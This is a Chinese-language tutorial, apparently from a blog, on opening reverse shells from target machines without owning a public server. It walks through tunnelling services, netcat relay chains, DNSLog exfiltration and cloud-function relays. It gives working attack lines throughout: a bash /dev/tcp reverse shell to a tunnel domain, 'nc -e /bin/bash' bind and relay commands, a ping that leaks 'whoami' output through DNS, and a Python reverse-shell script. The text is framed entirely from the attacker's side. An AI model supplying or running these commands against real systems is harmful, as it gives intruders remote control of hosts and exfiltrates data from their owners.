没有公网服务器的情况下,建立反弹 Shell
1. 使用内网穿透工具(推荐)
核心原理:通过第三方服务将内网端口映射到公网域名,绕过公网IP限制。
工具推荐:
- 贝锐花生壳(免费版可用)
- 注册账号并登录,选择「内网穿透」功能,添加TCP映射。
- 设置映射类型为TCP,内网主机IP为本地(如
127.0.0.1
),内网端口为监听的Shell端口(如54321)。 - 生成外网域名和端口,目标机通过该域名端口反向连接攻击机。
- cpolar(支持SSH穿透)
- 安装并配置SSH服务,结合cpolar生成公网访问地址,实现SSH反向连接。
操作步骤:
- 攻击机:通过穿透工具生成公网地址(如
s546459d57.zicp.fun:23494
)。 - 目标机:执行反弹Shell命令,如
bash -i >& /dev/tcp/s546459d57.zicp.fun/23494 0>&1
。 - 攻击机:使用
nc
监听穿透后的端口(如nc -lvnp 23494
),接收Shell。
2. 利用中间代理服务器
场景:已有内网某主机的控制权,通过该主机转发流量。
工具:
- Netcat(nc):通过多层端口转发建立链路。
- 内网主机A执行:
nc -lvp 4444 -e /bin/bash
。 - 中间主机B(可出网)执行:
nc -lvp 5555 -e nc <内网主机A_IP> 4444
。 - 攻击机连接中间主机的公网端口:`nc <中间主机B_公网IP> 5555。
- 内网主机A执行:
- lcx/htran:适用于Windows内网环境,通过端口转发实现多层穿透。
3. 使用DNS或HTTP协议带外(OOB)
适用场景:目标机可访问外网但无法直接建立TCP连接。
工具:
- DNSLog:通过DNS查询传递Shell命令结果。
- 攻击机生成DNSLog子域名(如
xxx.dnslog.cn
)。 - 目标机执行:
ping $(whoami).xxx.dnslog.cn
,通过DNS解析日志获取命令结果。
- 攻击机生成DNSLog子域名(如
- HTTP带外:利用Web请求传递数据(需攻击机搭建Web服务)。
4. 利用云函数或在线平台
原理:通过云服务(如AWS Lambda、腾讯云函数)作为中继节点。
步骤:
- 编写云函数,监听指定端口并转发流量至攻击机。
- 目标机连接云函数生成的公网地址,实现反向Shell。
5. 反弹Shell命令示例
Bash:
bash -i >& /dev/tcp/<穿透域名>/<穿透端口> 0>&1
Python:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("s546459d57.zicp.fun",23494))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])